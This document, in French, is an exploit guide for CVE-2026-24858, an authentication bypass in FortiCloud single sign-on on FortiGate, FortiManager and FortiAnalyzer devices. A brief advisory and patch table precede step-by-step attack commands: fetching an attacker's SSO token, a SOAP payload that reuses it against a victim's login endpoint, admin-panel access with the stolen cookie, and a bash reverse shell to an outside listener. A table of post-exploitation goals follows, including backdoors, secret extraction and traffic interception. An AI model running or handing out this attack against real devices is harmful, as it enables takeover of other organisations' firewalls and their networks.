
CVE-2026-24858 FortiCloud Single Sign On (SSO) — une fonctionnalité activée par défaut en usine dès que vous enregistrez un FortiGate/FortiManager/FortiAnalyzer — contient une faille critique de contournement de l'authentification.
FortiCloud Single-Sign-On (SSO), une fonctionnalité activée par défaut en usine dès que vous enregistrez un FortiGate/FortiManager/FortiAnalyzer, contient une faille critique de contournement d'authentification.
Un attaquant qui possède n'importe quel compte FortiCloud (gratuit ou payant) peut réutiliser son jeton SSO pour se connecter aux équipements d'autres clients (builds ≤ listés ci-dessous) sans connaître leurs mots de passe.
La post-exploitation permet un accès complet à l'interface graphique admin et un shell root, permettant l'interception du trafic, la falsification du VPN ou un mouvement latéral vers les réseaux internes.
Mettez à niveau immédiatement ou désactivez FortiCloud SSO jusqu'à ce qu'un correctif soit appliqué.
| Produit | Firmware vulnérable | Correctif |
|---|
| FortiOS | 7.0.0–7.0.18, 7.2.0–7.2.12, 7.4.0–7.4.10, 7.6.0–7.6.5 | ≥ 7.0.19, ≥ 7.2.13, ≥ 7.4.11, ≥ 7.6.6 |
| FortiManager | 7.0.0–7.0.10, 7.2.0–7.2.5, 7.4.0–7.4.9 | même majeur.mineur+1 |
| FortiAnalyzer | mêmes plages | même |
Machine de l'attaquant
Écouteur pour le reverse shell :
nc -lvnp 4444
Obtenir le jeton de l'attaquant (TTL de 15 min)
curl -k -X POST https://customerapiauth.fortinet.com/api/v1/auth/token \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"AttackerPass123"}'
Réponse (extrait) :
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGc...","expires_in":900}
Copiez la valeur access_token.
Construire la charge utile de contournement
Enregistrez sous bypass.xml :
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<authRequest>
<serialNumber>FGT80ETK21000000</serialNumber>
<token>eyJ0eXAiOiJKV1QiLCJhbGc...</token>
<action>login</action>
</authRequest>
</soapenv:Body>
</soapenv:Envelope>
Envoyer à la victime (tout firmware ≤ tableau ci-dessus)
curl -k -X POST https://<VICTIM-IP>:443/remote/logincheck \
-H "Content-Type: application/xml" \
--data @bypass.xml \
-c cookies.txt
HTTP 200 + Set-Cookie: APSCOOKIE=... → succès.
Parcourir l'interface graphique admin
Ouvrez un navigateur ou utilisez curl avec le cookie enregistré :
curl -k -b cookies.txt https://<VICTIM-IP>/ng/
→ Le tableau de bord apparaît, aucun mot de passe demandé.
Shell root (widget CLI)
Dans l'interface graphique : Dashboard → CLI Console
execute bash
bash-4.4# bash -i >& /dev/tcp/192.168.8.129/4444 0>&1
L'écouteur reçoit :
root@FGT80ETK21000000:/#
| Scénario | Résultat |
|---|---|
| Admin en lecture seule | Export de la configuration complète (secrets VPN, politiques locales, hachages utilisateurs). |
| Admin en écriture | Modification des règles de pare-feu, création d'utilisateurs locaux, désactivation des journaux, implantation de scripts persistants. |
| Shell root | Extraction de config.dat, récupération des clés HA, pivot vers les sous-réseaux internes, implantation d'un service backdoor. |
| Mouvement latéral | L'équipement devient un point d'appui ; les VLAN et tunnels SSL-VPN étant de confiance → brèche réseau plus profonde. |
| Exfiltration de données | Tout le trafic passe par le FortiGate → proxy transparent + injection de certificats. |